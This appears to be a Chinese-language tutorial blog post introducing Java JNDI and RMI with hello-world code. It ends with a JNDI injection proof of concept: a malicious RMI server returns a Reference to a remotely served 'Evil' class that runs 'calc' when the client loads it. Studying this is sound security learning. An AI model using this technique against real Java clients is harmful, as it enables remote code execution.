初探JNDI

发布于 2022-11-28  97 次阅读


author: bilala

0x00 前言

无尽的折磨-_-

学习过程中踩了好多坑,真是学Java以来最折磨的一次:cry:

0x01 JNDI介绍

官方文档:JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。

我们知道了这是一个接口,接口提供的功能有名称服务Naming (service)和目录服务Directory (service),接下来就得介绍一下这两个服务

Naming

即名称服务,就是通过名称查找对象的服务,在平时就很常见,如

  • DNS服务:通过域名查找一个实际的IP地址
  • 文件系统:通过具体的文件名查找到对应的文件
  • 各种游戏id:通过具体的uid查找到对应的玩家
  • ……

    在文件系统中,有几个重要的概念:

Bindings:绑定,表示一个名称和对应对象的绑定关系,例如DNS服务中一个域名绑定对应的IP

Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,算是Bindings的集合。例如文件系统中,一个目录就是一个上下文,目录中的一个文件名对应着一个文件就是一个Bindings,多个对应关系就成了上下文。

References:引用,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储。比如A同志在B同志家里找吉他玩,B同志说吉他借C了,让A去C家里找。B->C的这个过程就是一个引用。

Directory

即目录服务,目录服务其实就算是名称服务的plus版。除了名称服务中的名称到对应对象的绑定之外,还允许对象有属性值这个概念,允许我们根据属性值去搜索对象。比如打印机服务,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。

一些典型的目录服务如:

  • NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
  • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
  • 其他基于 LDAP 协议实现的目录服务;

目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。

Interface

从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

image-20221127204612078

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

0x02 RMI介绍

因为是初探,所以先从RMI服务来了解。

RMI,即 Remote Method Invocation,Java 的远程方法调用。

学东西先学一个Hello world,一个RMI的Hello world需要三部分:Registry注册中心、Server服务端、Client 客户端。

RMI在传统的 C/S 架构中多了一个注册中心,这是因为服务端在启动时会分配一个随机的端口,每次启动时端口都不一样,这就导致客户端每次都得跟着变化的端口而改变连接的端口。所以这个时候注册中心就出来了。

有了注册中心之后,服务端可以将自己的远程对象注册到注册中心中,比如注册一个"a"->new a(),这个时候客户端再问注册中心找a(注册中心的端口是可以固定的),然后注册中心告诉客户端a在server端的某某位置,客户端再去server端的某某位置调用a即可

image-20221127232844086

Hello World

定义一个接口继承Remote

package com.bilala;

import java.rmi.Remote;

public interface RemoteTestObj extends Remote {
    public String sayHello(String name) throws Exception;
}

定义一个接口的实现类,即远程对象

package com.bilala;

import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteTestObj{
    public RemoteObjImpl() throws Exception{

    }

    @Override
    public String sayHello(String name) throws Exception {
        String upname = name.toUpperCase();
        System.out.println(upname);
        return upname;
    }
}

定义服务端

package com.bilala;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        RemoteTestObj remoteTestObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteTestObj", remoteTestObj);
    }
}

定义客户端

package com.bilala;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        RemoteTestObj remoteTestObj = (RemoteTestObj) registry.lookup("remoteTestObj");
        System.out.println(remoteTestObj.sayHello("bilala"));
    }
}

先跑服务端,再跑客户端,可以看到成功调用了远程对象的方法

image-20221127234607845

深入

刚刚的图只是诠释了RMI的表层调用,实际上这个远程对象并不是直接从服务端复制到客户端的,而是将远程对象的Stub传递过去,Stub是远程对象的引用或者代理。客户端拿到这个Stub后可以像调用本地方法一样通过Stub调用远程对象的方法。

过程为:

  1. Server端启用后,会在注册中心注册远程对象
  2. Client端通过Naming Service去注册中心查找对象
  3. 注册中心返回一个Stub给Client,Stub中包含了Server端远程对象的通信地址与端口
  4. Client调用Stub上的方法
  5. Stub连接到Server端的通信端口并提交参数
  6. Server端执行对应的方法,将结果返回给Stub
  7. Stub返回结果给Client

借用SeeBug的图

image-20221127235541104

0x03 JNDI服务

先编写一个JNDI的hello world,在刚刚的同目录下接着编写

编写JNDIRMIServer端

package com.bilala;

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://127.0.0.1:1099/remoteTestObj", new RemoteObjImpl());
    }
}

编写JNDIRMIClient端

package com.bilala;

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        RemoteTestObj remoteTestObj = (RemoteTestObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteTestObj");
        System.out.println(remoteTestObj.sayHello("bilala"));
    }
}

先启动RMIServer端,再启动JNDIRMIServer,再运行JNDIRMIClient,得到返回结果

image-20221128000340140

同时也可以看到是在JNDIRMIServer中调用的

image-20221128000403600

0x04 JNDI注入

攻击客户端

假设我们可以控制客户端的lookup参数,那我们就可以伪造恶意服务端来达成攻击的目的

继续用上边的JNDIRMIClient,值还是用rmi://127.0.0.1:1099/remoteTestObj,只不过我们需要将Server端改成恶意的类让客户端调用

前边有讲Reference引用,我们可以将远程对象指向恶意类的地址,JNDIRMIServer端如下

package com.bilala;

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Reference evilObj = new Reference("Evil", "Evil", "http://127.0.0.1:5050/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteTestObj", evilObj);
    }
}

恶意类如下

public class Evil {
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

编译恶意类,将恶意类.class放在某个目录下,利用python开启http服务,此时再去运行JNDIRMIClient即可完成攻击

image-20221128001235143

0x05 参考资料

https://evilpan.com/2021/12/13/jndi-injection/

https://paper.seebug.org/1091/#java-rmi